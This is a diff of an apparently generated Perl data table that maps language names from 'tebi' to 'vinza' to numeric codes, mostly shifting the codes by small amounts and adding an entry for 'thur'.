@@ -52661,7 +52719,7 @@
       q(0),
       ],
    q(tebi) => [
-      q(2087),
+      q(2088),
       q(1),
       ],
    q(tebul sign language) => [
@@ -52669,7 +52727,7 @@
       q(0),
       ],
    q(tebul ure dogon) => [
-      q(2162),
+      q(2163),
       q(0),
       ],
    q(tecpatlan totonac) => [
@@ -52681,7 +52739,7 @@
       q(0),
       ],
    q(tedim chin) => [
-      q(1884),
+      q(1885),
       q(0),
       ],
    q(tee) => [
@@ -52697,11 +52755,11 @@
       q(0),
       ],
    q(tegali) => [
-      q(5739),
+      q(5741),
       q(0),
       ],
    q(tehit) => [
-      q(3535),
+      q(3536),
       q(0),
       ],
    q(tehuelche) => [
@@ -52709,19 +52767,19 @@
       q(0),
       ],
    q(tejalapan zapotec) => [
-      q(7943),
+      q(7946),
       q(0),
       ],
    q(teke-ebo) => [
-      q(2210),
+      q(2211),
       q(0),
       ],
    q(teke-fuumu) => [
-      q(2911),
+      q(2914),
       q(0),
       ],
    q(teke-kukuya) => [
-      q(3421),
+      q(3422),
       q(0),
       ],
    q(teke-laali) => [
@@ -52729,7 +52787,7 @@
       q(0),
       ],
    q(teke-nzikou) => [
-      q(5173),
+      q(5177),
       q(0),
       ],
    q(teke-tege) => [
@@ -52757,7 +52815,7 @@
       q(0),
       ],
    q(telugu) => [
-      q(0420),
+      q(0421),
       q(0),
       ],
    q(teluti) => [
@@ -52765,7 +52823,7 @@
       q(1),
       ],
    q(tem) => [
-      q(3238),
+      q(3240),
       q(0),
       ],
    q(temacine tamazight) => [
@@ -52773,7 +52831,7 @@
       q(0),
       ],
    q(temascaltepec nahuatl) => [
-      q(4869),
+      q(4871),
       q(0),
       ],
    q(tembe) => [
@@ -52797,7 +52855,7 @@
       q(0),
       ],
    q(temi) => [
-      q(6167),
+      q(6166),
       q(0),
       ],
    q(temiar) => [
@@ -52805,7 +52863,7 @@
       q(0),
       ],
    q(temoaya otomi) => [
-      q(5319),
+      q(5323),
       q(0),
       ],
    q(temoq) => [
@@ -52821,23 +52879,23 @@
       q(0),
       ],
    q(tena) => [
-      q(1140),
+      q(1141),
       q(1),
       ],
    q(tena lowland quichua) => [
-      q(5685),
+      q(5687),
       q(0),
       ],
    q(tenango otomi) => [
-      q(5315),
+      q(5319),
       q(0),
       ],
    q(tene kan dogon) => [
-      q(2154),
+      q(2155),
       q(0),
       ],
    q(tenggarong kutai malay) => [
-      q(6998),
+      q(6999),
       q(0),
       ],
    q(tengger) => [
@@ -52845,7 +52903,7 @@
       q(0),
       ],
    q(tenharim) => [
-      q(5343),
+      q(5347),
       q(0),
       ],
    q(tenino) => [
@@ -52873,15 +52931,15 @@
       q(0),
       ],
    q(tepetotutla chinantec) => [
-      q(1801),
+      q(1802),
       q(0),
       ],
    q(tepeuxila cuicatec) => [
-      q(1914),
+      q(1915),
       q(0),
       ],
    q(tepinapa chinantec) => [
-      q(1885),
+      q(1886),
       q(0),
       ],
    q(tepo krumen) => [
@@ -52889,7 +52947,7 @@
       q(0),
       ],
    q(ter sami) => [
-      q(6058),
+      q(6059),
       q(0),
       ],
    q(tera) => [
@@ -52901,11 +52959,11 @@
       q(0),
       ],
    q(terei) => [
-      q(1504),
+      q(1505),
       q(0),
       ],
    q(tereno) => [
-      q(0422),
+      q(0423),
       q(0),
       ],
    q(teressa) => [
@@ -52941,7 +52999,7 @@
       q(0),
       ],
    q(tese) => [
-      q(3260),
+      q(3262),
       q(0),
       ],
    q(teshenawa) => [
@@ -52957,7 +53015,7 @@
       q(0),
       ],
    q(tetelcingo nahuatl) => [
-      q(4857),
+      q(4859),
       q(0),
       ],
    q(tetete) => [
@@ -52965,7 +53023,7 @@
       q(0),
       ],
    q(tetum) => [
-      q(0423),
+      q(0424),
       q(0),
       ],
    q(tetun dili) => [
@@ -52973,7 +53031,7 @@
       q(0),
       ],
    q(teutila cuicatec) => [
-      q(1910),
+      q(1911),
       q(0),
       ],
    q(tewa (indonesia)) => [
@@ -52989,19 +53047,19 @@
       q(0),
       ],
    q(texcatepec otomi) => [
-      q(5322),
+      q(5326),
       q(0),
       ],
    q(texistepec popoluca) => [
-      q(5556),
+      q(5560),
       q(0),
       ],
    q(texmelucan zapotec) => [
-      q(7921),
+      q(7924),
       q(0),
       ],
    q(tezoatlan mixtec) => [
-      q(4640),
+      q(4641),
       q(0),
       ],
    q(tha) => [
@@ -53017,7 +53075,7 @@
       q(0),
       ],
    q(thai) => [
-      q(0426),
+      q(0427),
       q(0),
       ],
    q(thai sign language) => [
@@ -53025,11 +53083,11 @@
       q(0),
       ],
    q(thai song) => [
-      q(6147),
+      q(6146),
       q(0),
       ],
    q(thaiphum chin) => [
-      q(1887),
+      q(1888),
       q(0),
       ],
    q(thakali) => [
@@ -53037,7 +53095,7 @@
       q(0),
       ],
    q(thangal naga) => [
-      q(4921),
+      q(4923),
       q(0),
       ],
    q(thangmi) => [
@@ -53045,7 +53103,7 @@
       q(0),
       ],
    q(thao) => [
-      q(6224),
+      q(6223),
       q(0),
       ],
    q(tharaka) => [
@@ -53053,7 +53111,7 @@
       q(0),
       ],
    q(thawa) => [
-      q(7508),
+      q(7511),
       q(0),
       ],
    q(thayore) => [
@@ -53065,7 +53123,7 @@
       q(0),
       ],
    q(thiin) => [
-      q(2927),
+      q(2930),
       q(0),
       ],
    q(tho) => [
@@ -53077,7 +53135,7 @@
       q(0),
       ],
    q(thopho) => [
-      q(7741),
+      q(7744),
       q(0),
       ],
    q(thracian) => [
@@ -53096,6 +53154,10 @@
       q(6424),
       q(0),
       ],
+   q(thur) => [
+      q(4063),
+      q(0),
+      ],
    q(thurawal) => [
       q(6376),
       q(0),
@@ -53105,11 +53167,11 @@
       q(0),
       ],
    q(tiagbamrin aizi) => [
-      q(0681),
+      q(0682),
       q(0),
       ],
    q(tiale) => [
-      q(4416),
+      q(4417),
       q(0),
       ],
    q(tiang) => [
@@ -53117,15 +53179,15 @@
       q(0),
       ],
    q(tibea) => [
-      q(4849),
+      q(4851),
       q(0),
       ],
    q(tibetan) => [
-      q(0427),
+      q(0428),
       q(0),
       ],
    q(tibeto-burman languages) => [
-      q(0527),
+      q(0528),
       q(0),
       ],
    q(tichurong) => [
@@ -53137,7 +53199,7 @@
       q(0),
       ],
    q(tidaa mixtec) => [
-      q(4570),
+      q(4571),
       q(0),
       ],
    q(tidikelt tamazight) => [
@@ -53153,7 +53215,7 @@
       q(0),
       ],
    q(tiemacewe bozo) => [
-      q(1363),
+      q(1364),
       q(0),
       ],
    q(tiene) => [
@@ -53161,7 +53223,7 @@
       q(0),
       ],
    q(tieyaxo bozo) => [
-      q(1373),
+      q(1374),
       q(0),
       ],
    q(tifal) => [
@@ -53173,15 +53235,15 @@
       q(0),
       ],
    q(tigon mbembe) => [
-      q(5168),
+      q(5172),
       q(0),
       ],
    q(tigre) => [
-      q(0428),
+      q(0429),
       q(0),
       ],
    q(tigrinya) => [
-      q(0429),
+      q(0430),
       q(0),
       ],
    q(tii) => [
@@ -53189,7 +53251,7 @@
       q(0),
       ],
    q(tijaltepec mixtec) => [
-      q(7498),
+      q(7501),
       q(0),
       ],
    q(tikar) => [
@@ -53201,7 +53263,7 @@
       q(0),
       ],
    q(tilapa otomi) => [
-      q(5313),
+      q(5317),
       q(0),
       ],
    q(tillamook) => [
@@ -53209,7 +53271,7 @@
       q(0),
       ],
    q(tilquiapan zapotec) => [
-      q(7942),
+      q(7945),
       q(0),
       ],
    q(tilung) => [
@@ -53225,11 +53287,11 @@
       q(0),
       ],
    q(timbisha) => [
-      q(5348),
+      q(5352),
       q(1),
       ],
    q(timne) => [
-      q(0421),
+      q(0422),
       q(0),
       ],
    q(timor pidgin) => [
@@ -53281,7 +53343,7 @@
       q(0),
       ],
    q(tiri) => [
-      q(1736),
+      q(1737),
       q(0),
       ],
    q(tiruray) => [
@@ -53297,7 +53359,7 @@
       q(0),
       ],
    q(tiv) => [
-      q(0430),
+      q(0431),
       q(0),
       ],
    q(tiwa) => [
@@ -53325,31 +53387,31 @@
       q(1),
       ],
    q(tlacoatzintepec chinantec) => [
-      q(1888),
+      q(1889),
       q(0),
       ],
    q(tlacolulita zapotec) => [
-      q(7906),
+      q(7909),
       q(0),
       ],
    q(tlahuitoltepec mixe) => [
-      q(4654),
+      q(4655),
       q(0),
       ],
    q(tlamacazapa nahuatl) => [
-      q(5119),
+      q(5123),
       q(0),
       ],
    q(tlazoyaltepec mixtec) => [
-      q(4479),
+      q(4480),
       q(0),
       ],
    q(tlhingan-hol) => [
-      q(0432),
+      q(0433),
       q(1),
       ],
    q(tlingit) => [
-      q(0433),
+      q(0434),
       q(0),
       ],
    q(to) => [
@@ -53357,7 +53419,7 @@
       q(0),
       ],
    q(to'abaita) => [
-      q(4377),
+      q(4378),
       q(0),
       ],
    q(toaripi) => [
@@ -53401,7 +53463,7 @@
       q(0),
       ],
    q(tocantins asurini) => [
-      q(0903),
+      q(0904),
       q(0),
       ],
    q(tocho) => [
@@ -53433,7 +53495,7 @@
       q(0),
       ],
    q(tohono o'odham) => [
-      q(5274),
+      q(5278),
       q(0),
       ],
    q(tojolabal) => [
@@ -53441,19 +53503,19 @@
       q(0),
       ],
    q(tok pisin) => [
-      q(0437),
+      q(0438),
       q(0),
       ],
    q(tokano) => [
-      q(7948),
+      q(7951),
       q(0),
       ],
    q(tokelau) => [
-      q(0431),
+      q(0432),
       q(0),
       ],
    q(tokharian a) => [
-      q(7501),
+      q(7504),
       q(0),
       ],
    q(tokharian b) => [
@@ -53465,7 +53527,7 @@
       q(0),
       ],
    q(tol) => [
-      q(3089),
+      q(3091),
       q(0),
       ],
    q(tolaki) => [
@@ -53505,11 +53567,11 @@
       q(0),
       ],
    q(tommo so dogon) => [
-      q(2157),
+      q(2158),
       q(0),
       ],
    q(tomo kan dogon) => [
-      q(2155),
+      q(2156),
       q(0),
       ],
    q(tomoip) => [
@@ -53525,15 +53587,15 @@
       q(0),
       ],
    q(tonga) => [
-      q(0436),
+      q(0437),
       q(1),
       ],
    q(tonga (nyasa)) => [
-      q(0435),
+      q(0436),
       q(0),
       ],
    q(tonga (tonga islands)) => [
-      q(0436),
+      q(0437),
       q(0),
       ],
    q(tonga (zambia)) => [
@@ -53581,7 +53643,7 @@
       q(0),
       ],
    q(toraja-sa'dan) => [
-      q(5933),
+      q(5934),
       q(0),
       ],
    q(toram) => [
@@ -53593,7 +53655,7 @@
       q(0),
       ],
    q(tornedalen finnish) => [
-      q(2345),
+      q(2346),
       q(0),
       ],
    q(toro) => [
@@ -53601,11 +53663,11 @@
       q(0),
       ],
    q(toro so dogon) => [
-      q(2160),
+      q(2161),
       q(0),
       ],
    q(toro tegu dogon) => [
-      q(2161),
+      q(2162),
       q(0),
       ],
    q(toromono) => [
@@ -53629,7 +53691,7 @@
       q(0),
       ],
    q(tosk albanian) => [
-      q(0760),
+      q(0761),
       q(0),
       ],
    q(totela) => [
@@ -53645,11 +53707,11 @@
       q(0),
       ],
    q(totomachapan zapotec) => [
-      q(7903),
+      q(7906),
       q(0),
       ],
    q(totontepec mixe) => [
-      q(4561),
+      q(4562),
       q(0),
       ],
    q(totoro) => [
@@ -53661,11 +53723,11 @@
       q(0),
       ],
    q(toura (cote d'ivoire)) => [
-      q(4799),
+      q(4801),
       q(0),
       ],
    q(toura (papua new guinea)) => [
-      q(2114),
+      q(2115),
       q(0),
       ],
    q(towei) => [
@@ -53673,19 +53735,19 @@
       q(0),
       ],
    q(trans-new guinea languages) => [
-      q(0516),
+      q(0517),
       q(0),
       ],
    q(transalpine gaulish) => [
-      q(7494),
+      q(7497),
       q(0),
       ],
    q(traveller danish) => [
-      q(5797),
+      q(5798),
       q(0),
       ],
    q(traveller norwegian) => [
-      q(5800),
+      q(5801),
       q(0),
       ],
    q(traveller scottish) => [
@@ -53701,7 +53763,7 @@
       q(0),
       ],
    q(trieng) => [
-      q(6249),
+      q(6248),
       q(0),
       ],
    q(trimuris) => [
@@ -53765,7 +53827,7 @@
       q(0),
       ],
    q(tsat) => [
-      q(2860),
+      q(2862),
       q(0),
       ],
    q(tsaukambo) => [
@@ -53785,19 +53847,19 @@
       q(0),
       ],
    q(tsikimba) => [
-      q(3242),
+      q(3244),
       q(0),
       ],
    q(tsimane) => [
-      q(1652),
+      q(1653),
       q(0),
       ],
    q(tsimihety malagasy) => [
-      q(7410),
+      q(7413),
       q(0),
       ],
    q(tsimshian) => [
-      q(0438),
+      q(0439),
       q(0),
       ],
    q(tsishingini) => [
@@ -53809,7 +53871,7 @@
       q(0),
       ],
    q(tsoa) => [
-      q(2757),
+      q(2759),
       q(0),
       ],
    q(tsogo) => [
@@ -53817,15 +53879,15 @@
       q(0),
       ],
    q(tsonga) => [
-      q(0440),
+      q(0441),
       q(0),
       ],
    q(tsotsitaal) => [
-      q(2355),
+      q(2356),
       q(1),
       ],
    q(tsotso) => [
-      q(4065),
+      q(4066),
       q(0),
       ],
    q(tsou) => [
@@ -53833,7 +53895,7 @@
       q(0),
       ],
    q(tsucuba) => [
-      q(1668),
+      q(1669),
       q(0),
       ],
    q(tsum) => [
@@ -53853,7 +53915,7 @@
       q(0),
       ],
    q(tswana) => [
-      q(0439),
+      q(0440),
       q(0),
       ],
    q(tswapong) => [
@@ -53861,11 +53923,11 @@
       q(0),
       ],
    q(tu) => [
-      q(4316),
+      q(4317),
       q(0),
       ],
    q(tuamotuan) => [
-      q(5517),
+      q(5521),
       q(0),
       ],
    q(tubar) => [
@@ -53893,15 +53955,15 @@
       q(0),
       ],
    q(tukang besi north) => [
-      q(3330),
+      q(3331),
       q(0),
       ],
    q(tukang besi south) => [
-      q(1199),
+      q(1200),
       q(0),
       ],
    q(tuki) => [
-      q(1027),
+      q(1028),
       q(0),
       ],
    q(tukpa) => [
@@ -53933,11 +53995,11 @@
       q(0),
       ],
    q(tulu-bohuai) => [
-      q(5733),
+      q(5735),
       q(0),
       ],
    q(tuma-irumu) => [
-      q(2976),
+      q(2979),
       q(0),
       ],
    q(tumak) => [
@@ -53949,11 +54011,11 @@
       q(0),
       ],
    q(tumbuka) => [
-      q(0442),
+      q(0443),
       q(0),
       ],
    q(tumi) => [
-      q(3419),
+      q(3420),
       q(0),
       ],
    q(tumleo) => [
@@ -53961,7 +54023,7 @@
       q(0),
       ],
    q(tumshuqese) => [
-      q(7503),
+      q(7506),
       q(0),
       ],
    q(tumtum) => [
@@ -53969,15 +54031,15 @@
       q(0),
       ],
    q(tumulung sisaala) => [
-      q(6033),
+      q(6034),
       q(0),
       ],
    q(tumzabt) => [
-      q(4687),
+      q(4688),
       q(0),
       ],
    q(tundra enets) => [
-      q(2264),
+      q(2265),
       q(0),
       ],
    q(tunen) => [
@@ -53993,7 +54055,7 @@
       q(0),
       ],
    q(tungus languages) => [
-      q(0529),
+      q(0530),
       q(0),
       ],
    q(tunia) => [
@@ -54005,7 +54067,7 @@
       q(0),
       ],
    q(tunisian arabic) => [
-      q(0624),
+      q(0625),
       q(0),
       ],
    q(tunisian sign language) => [
@@ -54021,7 +54083,7 @@
       q(0),
       ],
    q(tunzu) => [
-      q(2202),
+      q(2203),
       q(0),
       ],
    q(tuotomb) => [
@@ -54037,7 +54099,7 @@
       q(0),
       ],
    q(tupi languages) => [
-      q(0443),
+      q(0444),
       q(0),
       ],
    q(tupinamba) => [
@@ -54077,15 +54139,15 @@
       q(0),
       ],
    q(turkic khalaj) => [
-      q(3434),
+      q(3435),
       q(0),
       ],
    q(turkic languages) => [
-      q(0528),
+      q(0529),
       q(0),
       ],
    q(turkish) => [
-      q(0444),
+      q(0445),
       q(0),
       ],
    q(turkish sign language) => [
@@ -54093,11 +54155,11 @@
       q(0),
       ],
    q(turkish, ottoman (1500-1928)) => [
-      q(0332),
+      q(0333),
       q(0),
       ],
    q(turkmen) => [
-      q(0441),
+      q(0442),
       q(0),
       ],
    q(turks and caicos creole english) => [
@@ -54137,7 +54199,7 @@
       q(0),
       ],
    q(tututepec mixtec) => [
-      q(4567),
+      q(4568),
       q(0),
       ],
    q(tututni) => [
@@ -54145,15 +54207,15 @@
       q(0),
       ],
    q(tuvalu) => [
-      q(0446),
+      q(0447),
       q(0),
       ],
    q(tuvinian) => [
-      q(0448),
+      q(0449),
       q(0),
       ],
    q(tuwali ifugao) => [
-      q(2910),
+      q(2913),
       q(0),
       ],
    q(tuwari) => [
@@ -54161,7 +54223,7 @@
       q(0),
       ],
    q(tuwuli) => [
-      q(1369),
+      q(1370),
       q(0),
       ],
    q(tuxa) => [
@@ -54189,15 +54251,15 @@
       q(0),
       ],
    q(twi) => [
-      q(0447),
+      q(0448),
       q(0),
       ],
    q(tyap) => [
-      q(3212),
+      q(3214),
       q(0),
       ],
    q(tyaraity) => [
-      q(7180),
+      q(7182),
       q(0),
       ],
    q(tz'utujil) => [
@@ -54213,11 +54275,11 @@
       q(0),
       ],
    q(u) => [
-      q(6946),
+      q(6947),
       q(0),
       ],
    q(uab meto) => [
-      q(0833),
+      q(0834),
       q(0),
       ],
    q(uamue) => [
@@ -54229,7 +54291,7 @@
       q(0),
       ],
    q(ubaghara) => [
-      q(1590),
+      q(1591),
       q(0),
       ],
    q(ubang) => [
@@ -54249,7 +54311,7 @@
       q(0),
       ],
    q(ucayali-yurua asheninka) => [
-      q(1827),
+      q(1828),
       q(0),
       ],
    q(uda) => [
@@ -54265,7 +54327,7 @@
       q(0),
       ],
    q(udmurt) => [
-      q(0449),
+      q(0450),
       q(0),
       ],
    q(uduk) => [
@@ -54281,7 +54343,7 @@
       q(0),
       ],
    q(ugaritic) => [
-      q(0450),
+      q(0451),
       q(0),
       ],
    q(ughele) => [
@@ -54297,7 +54359,7 @@
       q(0),
       ],
    q(uighur) => [
-      q(0451),
+      q(0452),
       q(0),
       ],
    q(uisai) => [
@@ -54309,7 +54371,7 @@
       q(0),
       ],
    q(ukaan) => [
-      q(3211),
+      q(3213),
       q(0),
       ],
    q(ukhwejo) => [
@@ -54317,27 +54379,27 @@
       q(0),
       ],
    q(ukit) => [
-      q(6890),
+      q(6891),
       q(0),
       ],
    q(ukpe-bayobiri) => [
-      q(6868),
+      q(6869),
       q(0),
       ],
    q(ukpet-ehom) => [
-      q(0724),
+      q(0725),
       q(0),
       ],
    q(ukrainian) => [
-      q(0452),
+      q(0453),
       q(0),
       ],
    q(ukrainian sign language) => [
-      q(6867),
+      q(6868),
       q(0),
       ],
    q(ukue) => [
-      q(6871),
+      q(6872),
       q(0),
       ],
    q(ukuriguma) => [
@@ -54345,67 +54407,67 @@
       q(0),
       ],
    q(ukwa) => [
-      q(6869),
+      q(6870),
       q(0),
       ],
    q(ukwuani-aboh-ndoni) => [
-      q(6872),
+      q(6873),
       q(0),
       ],
    q(ulau-suain) => [
-      q(6282),
+      q(6281),
       q(0),
       ],
    q(ulch) => [
-      q(6876),
+      q(6877),
       q(0),
       ],
    q(ulithian) => [
-      q(6879),
+      q(6880),
       q(0),
       ],
    q(ullatan) => [
-      q(6881),
+      q(6882),
       q(0),
       ],
    q(ulukwumi) => [
-      q(6875),
+      q(6876),
       q(0),
       ],
    q(ulumanda') => [
-      q(6882),
+      q(6883),
       q(0),
       ],
    q(ulwa) => [
-      q(6885),
+      q(6886),
       q(0),
       ],
    q(uma) => [
-      q(5565),
+      q(5569),
       q(0),
       ],
    q(uma' lasan) => [
-      q(7374),
+      q(7377),
       q(0),
       ],
    q(uma' lung) => [
-      q(6884),
+      q(6885),
       q(0),
       ],
    q(umanakaina) => [
-      q(2462),
+      q(2463),
       q(0),
       ],
    q(umatilla) => [
-      q(6886),
+      q(6887),
       q(0),
       ],
    q(umbindhamu) => [
-      q(6888),
+      q(6889),
       q(0),
       ],
    q(umbrian) => [
-      q(7518),
+      q(7521),
       q(0),
       ],
    q(umbu-ungu) => [
@@ -54413,111 +54475,111 @@
       q(0),
       ],
    q(umbugarla) => [
-      q(6895),
+      q(6896),
       q(0),
       ],
    q(umbundu) => [
-      q(0453),
+      q(0454),
       q(0),
       ],
    q(umbuygamu) => [
-      q(6889),
+      q(6890),
       q(0),
       ],
    q(ume sami) => [
-      q(6059),
+      q(6060),
       q(0),
       ],
    q(umeda) => [
-      q(6908),
+      q(6909),
       q(0),
       ],
    q(umiida) => [
-      q(7514),
+      q(7517),
       q(0),
       ],
    q(umiray dumaget agta) => [
-      q(2167),
+      q(2168),
       q(0),
       ],
    q(umon) => [
-      q(6891),
+      q(6892),
       q(0),
       ],
    q(umotina) => [
-      q(6893),
+      q(6894),
       q(0),
       ],
    q(umpila) => [
-      q(6894),
+      q(6895),
       q(0),
       ],
    q(una) => [
-      q(4553),
+      q(4554),
       q(0),
       ],
    q(unami) => [
-      q(6902),
+      q(6903),
       q(0),
       ],
    q(uncoded languages) => [
-      q(0281),
+      q(0282),
       q(0),
       ],
    q(unde kaili) => [
-      q(6907),
+      q(6908),
       q(0),
       ],
    q(undetermined) => [
-      q(0454),
+      q(0455),
       q(0),
       ],
    q(uneapa) => [
-      q(1051),
+      q(1052),
       q(0),
       ],
    q(uneme) => [
-      q(6899),
+      q(6900),
       q(0),
       ],
    q(unggaranggu) => [
-      q(7519),
+      q(7522),
       q(0),
       ],
    q(unggumi) => [
-      q(7332),
+      q(7335),
       q(0),
       ],
    q(ungkue) => [
-      q(2538),
+      q(2540),
       q(0),
       ],
    q(unserdeutsch) => [
-      q(6883),
+      q(6884),
       q(0),
       ],
    q(unua) => [
-      q(5271),
+      q(5275),
       q(0),
       ],
    q(unubahe) => [
-      q(6905),
+      q(6906),
       q(0),
       ],
    q(upper chehalis) => [
-      q(1741),
+      q(1742),
       q(0),
       ],
    q(upper grand valley dani) => [
-      q(2092),
+      q(2093),
       q(0),
       ],
    q(upper guinea crioulo) => [
-      q(5559),
+      q(5563),
       q(0),
       ],
    q(upper kinabatangan) => [
-      q(2080),
+      q(2081),
       q(0),
       ],
    q(upper kuskokwim) => [
@@ -54529,11 +54591,11 @@
       q(0),
       ],
    q(upper saxon) => [
-      q(6322),
+      q(6321),
       q(0),
       ],
    q(upper sorbian) => [
-      q(0182),
+      q(0183),
       q(0),
       ],
    q(upper ta'oih) => [
@@ -54549,107 +54611,107 @@
       q(0),
       ],
    q(upper umpqua) => [
-      q(7521),
+      q(7524),
       q(0),
       ],
    q(ura (papua new guinea)) => [
-      q(6922),
+      q(6923),
       q(0),
       ],
    q(ura (vanuatu)) => [
-      q(6945),
+      q(6946),
       q(0),
       ],
    q(uradhi) => [
-      q(6914),
+      q(6915),
       q(0),
       ],
    q(urak lawoi') => [
-      q(6918),
+      q(6919),
       q(0),
       ],
    q(urali) => [
-      q(6919),
+      q(6920),
       q(0),
       ],
    q(uralic languages) => [
-      q(0530),
+      q(0531),
       q(0),
       ],
    q(urapmin) => [
-      q(6920),
+      q(6921),
       q(0),
       ],
    q(urarina) => [
-      q(6910),
+      q(6911),
       q(0),
       ],
    q(urartian) => [
-      q(7522),
+      q(7525),
       q(0),
       ],
    q(urat) => [
-      q(6925),
+      q(6926),
       q(0),
       ],
    q(urdu) => [
-      q(0455),
+      q(0456),
       q(0),
       ],
    q(urhobo) => [
-      q(6916),
+      q(6917),
       q(0),
       ],
    q(uri) => [
-      q(6948),
+      q(6949),
       q(0),
       ],
    q(urigina) => [
-      q(6915),
+      q(6916),
       q(0),
       ],
    q(urim) => [
-      q(6917),
+      q(6918),
       q(0),
       ],
    q(urimo) => [
-      q(6929),
+      q(6930),
       q(0),
       ],
    q(uripiv-wala-rano-atchin) => [
-      q(6909),
+      q(6910),
       q(0),
       ],
    q(urningangg) => [
-      q(6912),
+      q(6913),
       q(0),
       ],
    q(uru) => [
-      q(6913),
+      q(6914),
       q(0),
       ],
    q(uru-eu-wau-wau) => [
-      q(6931),
+      q(6932),
       q(0),
       ],
    q(uru-pa-in) => [
-      q(6923),
+      q(6924),
       q(0),
       ],
    q(uruangnirin) => [
-      q(6921),
+      q(6922),
       q(0),
       ],
    q(uruava) => [
-      q(6927),
+      q(6928),
       q(0),
       ],
    q(urubu-kaapor) => [
-      q(6911),
+      q(6912),
       q(0),
       ],
    q(urubu-kaapor sign language) => [
-      q(6870),
+      q(6871),
       q(0),
       ],
    q(uruguayan sign language) => [
@@ -54657,115 +54719,115 @@
       q(0),
       ],
    q(urum) => [
-      q(6943),
+      q(6944),
       q(0),
       ],
    q(urumi) => [
-      q(6926),
+      q(6927),
       q(0),
       ],
    q(usaghade) => [
-      q(6935),
+      q(6936),
       q(0),
       ],
    q(usan) => [
-      q(7177),
+      q(7179),
       q(0),
       ],
    q(usarufa) => [
-      q(6932),
+      q(6933),
       q(0),
       ],
    q(ushojo) => [
-      q(6933),
+      q(6934),
       q(0),
       ],
    q(usila chinantec) => [
-      q(1899),
+      q(1900),
       q(0),
       ],
    q(usku) => [
-      q(6878),
+      q(6879),
       q(0),
       ],
    q(uspanteco) => [
-      q(6936),
+      q(6937),
       q(0),
       ],
    q(usui) => [
-      q(6934),
+      q(6935),
       q(0),
       ],
    q(ut-ma'in) => [
-      q(2479),
+      q(2480),
       q(0),
       ],
    q(utarmbung) => [
-      q(5251),
+      q(5255),
       q(0),
       ],
    q(ute-southern paiute) => [
-      q(6939),
+      q(6940),
       q(0),
       ],
    q(uto-aztecan languages) => [
-      q(0493),
+      q(0494),
       q(0),
       ],
    q(utu) => [
-      q(6942),
+      q(6943),
       q(0),
       ],
    q(uvbie) => [
-      q(2311),
+      q(2312),
       q(0),
       ],
    q(uya) => [
-      q(6937),
+      q(6938),
       q(0),
       ],
    q(uyajitaya) => [
-      q(2172),
+      q(2173),
       q(0),
       ],
    q(uyghur) => [
-      q(0451),
+      q(0452),
       q(1),
       ],
    q(uzbek) => [
-      q(0456),
+      q(0457),
       q(0),
       ],
    q(uzbeki arabic) => [
-      q(0954),
+      q(0955),
       q(0),
       ],
    q(uzekwe) => [
-      q(2317),
+      q(2318),
       q(0),
       ],
    q(v'enen taut) => [
-      q(4954),
+      q(4956),
       q(1),
       ],
    q(vaagri booli) => [
-      q(6954),
+      q(6955),
       q(0),
       ],
    q(vaeakau-taumako) => [
-      q(5461),
+      q(5465),
       q(1),
       ],
    q(vafsi) => [
-      q(6956),
+      q(6957),
       q(0),
       ],
    q(vaghat-ya-bijim-legeri) => [
-      q(1216),
+      q(1217),
       q(0),
       ],
    q(vaghri) => [
-      q(6979),
+      q(6980),
       q(0),
       ],
    q(vaghua) => [
@@ -54773,19 +54835,19 @@
       q(0),
       ],
    q(vagla) => [
-      q(6957),
+      q(6958),
       q(0),
       ],
    q(vai) => [
-      q(0457),
+      q(0458),
       q(0),
       ],
    q(vaiphei) => [
-      q(6964),
+      q(6965),
       q(0),
       ],
    q(vale) => [
-      q(6955),
+      q(6956),
       q(0),
       ],
    q(valencian) => [
@@ -54793,231 +54855,231 @@
       q(1),
       ],
    q(valencian sign language) => [
-      q(7034),
+      q(7035),
       q(0),
       ],
    q(valle nacional chinantec) => [
-      q(1916),
+      q(1917),
       q(0),
       ],
    q(valley maidu) => [
-      q(7020),
+      q(7021),
       q(0),
       ],
    q(valman) => [
-      q(6962),
+      q(6963),
       q(0),
       ],
    q(valpei) => [
-      q(7000),
+      q(7001),
       q(0),
       ],
    q(vamale) => [
-      q(4353),
+      q(4354),
       q(0),
       ],
    q(vame) => [
-      q(4375),
+      q(4376),
       q(0),
       ],
    q(vandalic) => [
-      q(7527),
+      q(7530),
       q(0),
       ],
    q(vangunu) => [
-      q(4464),
+      q(4465),
       q(0),
       ],
    q(vanimo) => [
-      q(6961),
+      q(6962),
       q(0),
       ],
    q(vano) => [
-      q(7025),
+      q(7026),
       q(0),
       ],
    q(vanuma) => [
-      q(6967),
+      q(6968),
       q(0),
       ],
    q(vao) => [
-      q(6963),
+      q(6964),
       q(0),
       ],
    q(varhadi-nagpuri) => [
-      q(6958),
+      q(6959),
       q(0),
       ],
    q(varisi) => [
-      q(7030),
+      q(7031),
       q(0),
       ],
    q(varli) => [
-      q(6968),
+      q(6969),
       q(0),
       ],
    q(vasavi) => [
-      q(6966),
+      q(6967),
       q(0),
       ],
    q(vasekele) => [
-      q(6959),
+      q(6960),
       q(2),
       ],
    q(veddah) => [
-      q(6973),
+      q(6974),
       q(0),
       ],
    q(vehes) => [
-      q(6960),
+      q(6961),
       q(0),
       ],
    q(veluws) => [
-      q(6974),
+      q(6975),
       q(0),
       ],
    q(vemgo-mabas) => [
-      q(6975),
+      q(6976),
       q(0),
       ],
    q(venda) => [
-      q(0458),
+      q(0459),
       q(0),
       ],
    q(venetian) => [
-      q(6972),
+      q(6973),
       q(0),
       ],
    q(venetic) => [
-      q(7525),
+      q(7528),
       q(0),
       ],
    q(venezuelan sign language) => [
-      q(7033),
+      q(7034),
       q(0),
       ],
    q(vengo) => [
-      q(1034),
+      q(1035),
       q(0),
       ],
    q(ventureno) => [
-      q(6976),
+      q(6977),
       q(0),
       ],
    q(veps) => [
-      q(6977),
+      q(6978),
       q(0),
       ],
    q(vera'a) => [
-      q(7029),
+      q(7030),
       q(0),
       ],
    q(vestinian) => [
-      q(7529),
+      q(7532),
       q(0),
       ],
    q(vidunda) => [
-      q(6982),
+      q(6983),
       q(0),
       ],
    q(viemo) => [
-      q(6984),
+      q(6985),
       q(0),
       ],
    q(vietnamese) => [
-      q(0459),
+      q(0460),
       q(0),
       ],
    q(viid) => [
-      q(6141),
+      q(6140),
       q(1),
       ],
    q(vilela) => [
-      q(6985),
+      q(6986),
       q(0),
       ],
    q(vili) => [
-      q(6983),
+      q(6984),
       q(0),
       ],
    q(villa viciosa agta) => [
-      q(2196),
+      q(2197),
       q(0),
       ],
    q(vincentian creole english) => [
-      q(6283),
+      q(6282),
       q(0),
       ],
    q(vinmavis) => [
-      q(7026),
+      q(7027),
       q(0),
       ],
    q(vinza) => [
-      q(6986),
+      q(6987),
       q(0),
